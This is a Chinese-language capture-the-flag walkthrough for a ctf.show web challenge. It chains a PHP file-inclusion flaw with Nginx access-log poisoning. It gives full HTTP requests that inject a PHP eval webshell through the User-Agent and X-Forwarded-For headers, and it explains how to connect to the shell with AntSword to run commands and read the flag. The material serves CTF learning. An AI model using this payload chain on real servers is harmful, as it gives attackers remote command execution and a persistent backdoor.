这道题是 日志包含 + 命令 / 后门注入,核心思路是:
- 利用
include($_GET['url'])包含 Nginx 访问日志 - 在请求头里写入 PHP 一句话木马,让日志里留下可执行的后门代码
- 用蚁剑连接后门,拿到 flag
✅ 步骤 1:确认日志路径可包含
先访问日志文件,验证文件包含漏洞:
plaintext
http://你的目标地址/?url=/var/log/nginx/access.log
如果页面返回 Nginx 访问日志(像截图里那样),说明日志包含成功,可以继续下一步。
✅ 步骤 2:在请求头注入 PHP 后门
用 Burp Suite 抓包,修改请求头,在 User-Agent 或 X-Forwarded-For 里写入一句话木马:
http
GET /?url=/var/log/nginx/access.log HTTP/1.1
Host: 你的目标地址
User-Agent: <?php @eval($_POST['-123']); ?>
X-Forwarded-For: <?php @eval($_POST['-123']); ?>
Connection: close
- 密码设为
-123(你可以随便改) - 发送这个请求,Nginx 会把这个 User-Agent 写入访问日志,日志里就有了可执行的 PHP 代码
✅ 步骤 3:包含日志,让后门生效
再次访问日志路径,让服务器执行日志里的 PHP 代码:
plaintext
http://你的目标地址/?url=/var/log/nginx/access.log
这一步会让 include() 把日志里的 <?php @eval($_POST['-123']); ?> 当作 PHP 代码执行。
✅ 步骤 4:用蚁剑连接后门
-
打开蚁剑,点击「添加数据」
-
输入 URL: plaintext
http://你的目标地址/?url=/var/log/nginx/access.log -
密码填
-123(和你刚才注入的密码一致) -
选择「POST」方式,点击「测试连接」
-
连接成功后,就可以管理服务器文件、执行命令,直接找到
flag
具体操作
步骤 1:用 Burp Suite 抓包并注入一句话木马
-
打开 Burp Suite,开启
Proxy → Intercept拦截。 -
浏览器访问: plaintext
https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log -
Burp 会拦截到这个 GET 请求,修改请求头 ,在
User-Agent里写入 PHP 一句话木马:http
GET /?url=/var/log/nginx/access.log HTTP/1.1 Host: 00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show User-Agent: <?php @eval($_POST['-123']); ?> <!-- 核心:注入后门代码 --> Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate, br Connection: close- 密码设为
-123(可以自定义) - 其他头保持不变
- 密码设为
-
点击
Forward放行请求,Nginx 会把这段 PHP 代码写入访问日志。
✅ 步骤 2:验证日志包含后门已生效
再次在浏览器访问同一个 URL:
plaintext
https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log
这一步会让 include() 执行日志里的 PHP 代码,后门已经激活。
✅ 步骤 3:用蚁剑连接后门拿 flag
- 打开蚁剑(AntSword),点击「添加数据」。
- 填写信息:
-
URL 地址 :
plaintext
https://00abbcc6-76e6-4297-a3f7-e3a1a99213d7.challenge.ctf.show/?url=/var/log/nginx/access.log -
连接密码 :
-123(和你注入的密码一致) -
请求方式 :
POST
-
- 点击「测试连接」,如果提示连接成功,就可以:
- 浏览服务器文件
- 执行系统命令(比如
cat /flag) - 直接找到并读取
flag文件
💡 关键原理(为什么能成功)
include($_GET['url'])允许包含任意文件,这里我们包含了 Nginx 访问日志/var/log/nginx/access.log。- 我们在
User-Agent里写入 PHP 代码,Nginx 会把请求头原样记录到日志中。 - 再次包含日志时,PHP 代码会被服务器执行,相当于留下了一个后门。
- 蚁剑通过 POST 传递密码,执行任意系统命令,最终拿到 flag。
🚀 避坑提醒
- 必须用 https:你的目标地址是 https,不要改成 http,否则会报错。
- 密码要一致 :蚁剑里填的密码必须和 Burp 注入的
$_POST['xxx']里的xxx完全一样。 - 如果蚁剑连接失败:检查 URL 是否正确、密码是否一致、是否已经成功注入了 PHP 代码到日志里。

